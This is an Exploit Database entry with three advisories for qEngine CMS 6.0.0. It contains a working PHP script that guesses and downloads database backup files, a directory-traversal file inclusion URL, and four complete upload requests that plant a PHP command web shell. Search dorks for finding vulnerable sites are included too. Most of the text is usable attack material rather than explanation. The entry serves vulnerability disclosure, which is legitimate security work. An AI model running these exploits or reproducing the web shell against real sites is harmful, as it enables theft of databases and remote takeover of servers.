qEngine CMS 6.0.0 – Multiple Vulnerabilities

• Exploit Database
• 14 阅读

• 作者： LiquidWorm
  日期： 2014-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/32511/

• <?php
  
  /*
  
  qEngine CMS 6.0.0 Database Backup Disclosure Exploit
  
  
  Vendor: C97net
  Product web page: http://www.c97.net
  Affected version: 6.0.0 and 4.1.6
  
  Summary: qEngine (qE) is a lightweight, fast, yet feature packed
  CMS script to help you building your site quickly. Using template
  engine to separate the php codes from the design, you don't need
  to touch the codes to design your web site. qE is also expandable
  by using modules.
  
  Desc: qEngine CMS stores database backups using the Backup DB tool
  with a predictable file name inside the '/admin/backup' directory
  as 'Full Backup YYYYMMDD.sql' or 'Full Backup YYYYMMDD.gz', which
  can be exploited to disclose sensitive information by downloading
  the file. The '/admin/backup' is also vulnerable to directory listing
  by default.
  
  
  Tested on: Apache/2.4.7 (Win32)
   PHP/5.5.6
   MySQL 5.6.14
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2014-5172
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5172.php
  
  
  Dork #1: intitle:powered by c97.net
  Dork #2: intitle:powered by qEngine
  Dork #3: intitle:powered by Kemana.c97.net
  Dork #4: intitle:powered by Cart2.c97.net
  
  
  
  07.03.2014
  
  */
  
  
  error_reporting(0);
  
  function status($done, $total, $size=20)
  {
  	static $start_time;
   	if($done > $total) return;
   	if(empty($start_time)) $start_time=time();
  
  	$now = time();
   	$perc=(double)($done/$total);
   	$bar=floor($perc*$size);
  
   	$disp=number_format($perc*100, 0);
   
  	$status_bar="\r $disp% [";
  	$status_bar.=str_repeat("=", $bar);
  	if($bar<$size)
  	{
  		$status_bar.=">";
  		$status_bar.=str_repeat(" ", $size-$bar);
  	} else
  		{
  			$status_bar.="=";
  		}
   	
   	$status_bar.="] $done/$total";
   
  	$rate = ($now-$start_time)/$done;
  	$left = $total - $done;
  	$eta = round($rate * $left, 2);
  	$elapsed = $now - $start_time;
   
  	$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";
   
  	echo "$status_bar ";
  	flush();
   
  	if($done == $total)
  	{
  		echo "\n";
  	}
  }
  
  print "
   @---------------------------------------------------------------@
   | |
   |qEngine CMS 6.0.0 Database Backup Disclosure Exploit |
   | |
   | |
   |Copyleft (c) 2014, Zero Science Lab|
   | |
   | Advisory ID: ZSL-2014-5172|
   | www.zeroscience.mk|
   | |
   @---------------------------------------------------------------@
  	";
  
  if ($argc < 4)
  {
  print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";
  print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";
  die();
  }
  
  $godina_array = array('2014','2013','2012','2011','2010');
  
  $mesec_array = array('12','11','10','09',
  					 '08','07','06','05',
  					 '04','03','02','01');
  
  $dn_array = array('31','30','29','28','27','26',
  				'25','24','23','22','21','20',
  				'19','18','17','16','15','14',
  				'13','12','11','10','09','08',
  				'07','06','05','04','03','02',
  				'01');
  
  $host = $argv[1];
  $port = intval($argv[2]);
  $path = $argv[3];
  $dbnm = "Full%20Backup%20";
  
  $alert1 = "\033[1;31m";
  $alert2 = "\033[0;37m";
  $alert3 = "\033[1;32m";
  
  echo "\n [*] Running checks:\n\n";
  
  foreach($godina_array as $godina)
  {
  	foreach($mesec_array as $mesec)
  	{
  		$x++;
  		status($x, 58);
  		foreach($dn_array as $dn)
  		{
  			$ext=".gz";
  			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
  			{
  				echo "\n";
  				echo $alert1;
  				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
  				echo $alert2;
  				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
  				print " Full URL:\x20";
  				echo $alert3;
  				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
  			}
  			$ext=".sql";
  			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
  			{
  				echo "\n";
  				echo $alert1;
  				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
  				echo $alert2;
  				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
  				print " Full URL:\x20";
  				echo $alert3;
  				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
  			}
  		}
  	}
  }
  
  print "\n\n [*] Zero findings!\n\n\n";
  
  ?>
  
  #######################################################################################
  
  
  qEngine CMS 6.0.0 (task.php) Local File Inclusion Vulnerability
  
  
  Vendor: C97net
  Product web page: http://www.c97.net
  Affected version: 6.0.0 and 4.1.6
  
  Summary: qEngine (qE) is a lightweight, fast, yet feature packed
  CMS script to help you building your site quickly. Using template
  engine to separate the php codes from the design, you don't need
  to touch the codes to design your web site. qE is also expandable
  by using modules.
  
  Desc: qEngine CMS suffers from an authenticated file inclusion
  vulnerability (LFI) when input passed thru the 'run' parameter to
  task.php is not properly verified before being used to include files.
  This can be exploited to include files from local resources with
  directory traversal attacks.
  
  
  Tested on: Apache/2.4.7 (Win32)
   PHP/5.5.6
   MySQL 5.6.14
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2014-5173
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5173.php
  
  
  Dork #1: intitle:powered by c97.net
  Dork #2: intitle:powered by qEngine
  Dork #3: intitle:powered by Kemana.c97.net
  Dork #4: intitle:powered by Cart2.c97.net
  
  
  
  07.03.2014
  
  ---
  
  
  http://localhost/qe6_0/admin/task.php?run=../../../../../../windows/win.ini
  
  #########################################################################
  
  
  qEngine CMS 6.0.0 Remote Code Execution
  
  
  Vendor: C97net
  Product web page: http://www.c97.net
  Affected version: 6.0.0 and 4.1.6
  
  Summary: qEngine (qE) is a lightweight, fast, yet feature packed
  CMS script to help you building your site quickly. Using template
  engine to separate the php codes from the design, you don't need
  to touch the codes to design your web site. qE is also expandable
  by using modules.
  
  Desc: qEngine CMS suffers from an authenticated arbitrary code
  execution. The vulnerability is caused due to the improper verification
  of uploaded files in several modules thru several POST parameters.
  This can be exploited to execute arbitrary PHP code by uploading
  a malicious PHP script file that will be stored in '/public/image'
  directory. Minimum permissions needed for a user to upload any file:
  
  User level: Regular (param: user_level=1)
  Admin level: Editor (param: admin_level=3)
  
  Only the 'Super Admin' level makes the Tool 'File Manager' available.
  
  
  Tested on: Apache/2.4.7 (Win32)
   PHP/5.5.6
   MySQL 5.6.14
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2014-5174
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5174.php
  
  
  Dork #1: intitle:powered by c97.net
  Dork #2: intitle:powered by qEngine
  Dork #3: intitle:powered by Kemana.c97.net
  Dork #4: intitle:powered by Cart2.c97.net
  
  
  
  07.03.2014
  
  ---
  
  
   #1 (Modules > qBanner > Manage Banner > Add Entry)
  
  POST http://localhost/qe6/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1
  
  
  -----------------------------225222869427624
  Content-Disposition: form-data; name="AXSRF_token"
  
  52e9c9ff9bb251a144b82a662496f5b8
  -----------------------------225222869427624
  Content-Disposition: form-data; name="qadmin_cmd"
  
  new
  -----------------------------225222869427624
  Content-Disposition: form-data; name="qadmin_process"
  
  1
  -----------------------------225222869427624
  Content-Disposition: form-data; name="qadmin_savenew"
  
  0
  -----------------------------225222869427624
  Content-Disposition: form-data; name="primary_key"
  
  page_id
  -----------------------------225222869427624
  Content-Disposition: form-data; name="primary_val"
  
  dummy
  -----------------------------225222869427624
  Content-Disposition: form-data; name="page_image"; filename="shell.php"
  Content-Type: application/octet-stream
  
  <?php passthru($_GET['cmd']); ?>
  -----------------------------225222869427624
  Content-Disposition: form-data; name="page_title"
  
  ZSL
  -----------------------------225222869427624
  Content-Disposition: form-data; name="page_keyword"
  
  http://www.zeroscience.mk
  -----------------------------225222869427624
  Content-Disposition: form-data; name="group_id"
  
  QBANR
  -----------------------------225222869427624
  Content-Disposition: form-data; name="page_body"
  
  This page is part of qBanner module. Please use qBanner Manager to edit this page.
  -----------------------------225222869427624
  Content-Disposition: form-data; name="page_allow_comment"
  
  -----------------------------225222869427624
  Content-Disposition: form-data; name="page_list"
  
  -----------------------------225222869427624--
  
  
  Upload location: http://localhost/qe6/public/image/
  Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami
  
  
  
  
   #2 (Tools > File Manager > Upload)
  
  POST http://localhost/qe6/admin/fman/upload_process.php HTTP/1.1
  
  
  -----------------------------76802486520945
  Content-Disposition: form-data; name="chdir"
  
  -----------------------------76802486520945
  Content-Disposition: form-data; name="n"
  
  5
  -----------------------------76802486520945
  Content-Disposition: form-data; name="userfile_1"; filename="shell.php"
  Content-Type: application/octet-stream
  
  <?php passthru($_GET['cmd']); ?>
  -----------------------------76802486520945
  Content-Disposition: form-data; name="userfile_2"; filename=""
  Content-Type: application/octet-stream
  
  -----------------------------76802486520945
  Content-Disposition: form-data; name="userfile_3"; filename=""
  Content-Type: application/octet-stream
  
  -----------------------------76802486520945
  Content-Disposition: form-data; name="userfile_4"; filename=""
  Content-Type: application/octet-stream
  
  -----------------------------76802486520945
  Content-Disposition: form-data; name="userfile_5"; filename=""
  Content-Type: application/octet-stream
  
  -----------------------------76802486520945--
  
  
  Upload location: Anywhere within the webroot folder and its subfolders.
  Exec: http://localhost/qe6/shell.php?cmd=whoami
  
  
  
  
   #3 (Modules > Slideshow > Manage Slides > Add Entry)
  
  POST http://localhost/qe6/admin/task.php?mod=slideshow&run=edit.php& HTTP/1.1
  
  
  -----------------------------23201806221528
  Content-Disposition: form-data; name="AXSRF_token"
  
  52e9c9ff9bb251a144b82a662496f5b8
  -----------------------------23201806221528
  Content-Disposition: form-data; name="qadmin_cmd"
  
  new
  -----------------------------23201806221528
  Content-Disposition: form-data; name="qadmin_process"
  
  1
  -----------------------------23201806221528
  Content-Disposition: form-data; name="qadmin_savenew"
  
  0
  -----------------------------23201806221528
  Content-Disposition: form-data; name="primary_key"
  
  page_id
  -----------------------------23201806221528
  Content-Disposition: form-data; name="primary_val"
  
  dummy
  -----------------------------23201806221528
  Content-Disposition: form-data; name="page_image"; filename="shell.php"
  Content-Type: application/octet-stream
  
  <?php passthru($_GET['cmd']); ?>
  -----------------------------23201806221528
  Content-Disposition: form-data; name="page_title"
  
  ZSL
  -----------------------------23201806221528
  Content-Disposition: form-data; name="page_keyword"
  
  http://www.zeroscience.mk
  -----------------------------23201806221528
  Content-Disposition: form-data; name="group_id"
  
  SSHOW
  -----------------------------23201806221528
  Content-Disposition: form-data; name="page_body"
  
  This page is part of SlideShow module. Please use SlideShow Manager to edit this page.
  -----------------------------23201806221528
  Content-Disposition: form-data; name="page_allow_comment"
  
  -----------------------------23201806221528
  Content-Disposition: form-data; name="page_list"
  
  -----------------------------23201806221528--
  
  
  Upload location: http://localhost/qe6/public/image/
  Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami
  
  
  
  
   #4 (Contents > Manage Categories > Add Entry)
  
  POST http://localhost/qe6/admin/page_cat.php? HTTP/1.1
  
  
  -----------------------------205172563220150
  Content-Disposition: form-data; name="AXSRF_token"
  
  3afa0c7483889ac54d7b6afa4083a9a2
  -----------------------------205172563220150
  Content-Disposition: form-data; name="qadmin_cmd"
  
  new
  -----------------------------205172563220150
  Content-Disposition: form-data; name="qadmin_process"
  
  1
  -----------------------------205172563220150
  Content-Disposition: form-data; name="qadmin_savenew"
  
  0
  -----------------------------205172563220150
  Content-Disposition: form-data; name="primary_key"
  
  idx
  -----------------------------205172563220150
  Content-Disposition: form-data; name="primary_val"
  
  dummy
  -----------------------------205172563220150
  Content-Disposition: form-data; name="group_id"
  
  GENPG
  -----------------------------205172563220150
  Content-Disposition: form-data; name="parent_id"
  
  1
  -----------------------------205172563220150
  Content-Disposition: form-data; name="cat_name"
  
  ZSL
  -----------------------------205172563220150
  Content-Disposition: form-data; name="permalink"
  
  -----------------------------205172563220150
  Content-Disposition: form-data; name="cat_details"
  
  <p>Zero Science Lab</p>
  -----------------------------205172563220150
  Content-Disposition: form-data; name="cat_image"; filename="shell.php"
  Content-Type: application/octet-stream
  
  <?php passthru($_GET['cmd']); ?>
  -----------------------------205172563220150--
  
  
  Upload location: http://localhost/qe6/public/image/
  Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami